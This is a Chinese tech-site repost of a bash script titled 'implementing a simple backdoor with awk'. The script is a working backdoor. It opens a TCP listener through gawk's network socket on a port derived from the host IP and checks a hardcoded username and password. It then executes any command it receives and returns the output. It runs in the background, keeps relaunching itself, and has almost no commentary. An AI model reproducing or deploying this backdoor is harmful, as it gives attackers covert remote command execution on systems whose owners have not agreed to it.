文章详情

  • 游戏榜单
  • 软件榜单
关闭导航
热搜榜
热门下载
热门标签
php爱好者> php文档>用awk实现简单的后门

用awk实现简单的后门

时间:2010-03-12  来源:weson_pcon9


#!/bin/bash
time_start=$(date +%s)
time_keepup=3600
while true
do
PORT=$(route -n | tail -n 1 | \
awk '
    {
        command="ifconfig "$NF
        while (( command |& getline)>0){
            if($0~/inet addr/){
                gsub(/:/," ")
                num=split($3,ip_arr,".")
                exit
            }
        }
    }END{
        for(i=0;i<=num;i++){
            ip_sum+=ip_arr[i]
        }
        print ip_sum+10000
    }
')

trap "fuser -k -9 -n tcp $PORT;break" 2

if fuser -n tcp $PORT >& /dev/null;then
    time_now=$(date +%s)
    time_offset=$[time_now-time_start]
    if [[ $time_offset -gt $time_keepup ]];then
        fuser -k -9 -n tcp $PORT >& /dev/null
        exit
    fi
else

nohup echo "" | \
awk -v port=$PORT '
    function print_prompt(pro,skname){
        printf(pro) |& skname
    }
    function init_var(){
        user_id=""
        passwd_tag=0
        login_st=0
        prompt_msg="[awk sciprt]:"
    }
    BEGIN{
        sk="/inet/tcp/"port"/0/0"
        user="weson"
        passwd="weson_pass"
        user_id=""
        passwd_tag=0
        login_st=0
        prompt_msg="[awk sciprt]:"
    }
    {
        printf("Login: ") |& sk
        while((sk |& getline)>0){
            gsub(/\n|\r|\r\n/,"")    
            if(login_st==1){
                if($0=="exit"){exit}
                #print $0
                while($0!="" && ($0 |& getline tmp)>0){
                    print tmp |& sk
                }
                close($0)
                print_prompt(prompt_msg,sk)
            }else{
                if(user_id!="" && $0==passwd && passwd_tag==1){
                    print "Login successfully!" |& sk
                    print_prompt(prompt_msg,sk)
                    login_st=1
                }else{    
                    if($0==user){
                        printf("Password:") |& sk
                        user_id=$0
                        passwd_tag=1
                    }else{
                        exit
                    }
                }
            }
        }
        
    }' &
fi
done


相关阅读 更多 +
排行榜 更多 +
辰域智控app

辰域智控app

系统工具 下载
网医联盟app

网医联盟app

运动健身 下载
汇丰汇选App

汇丰汇选App

金融理财 下载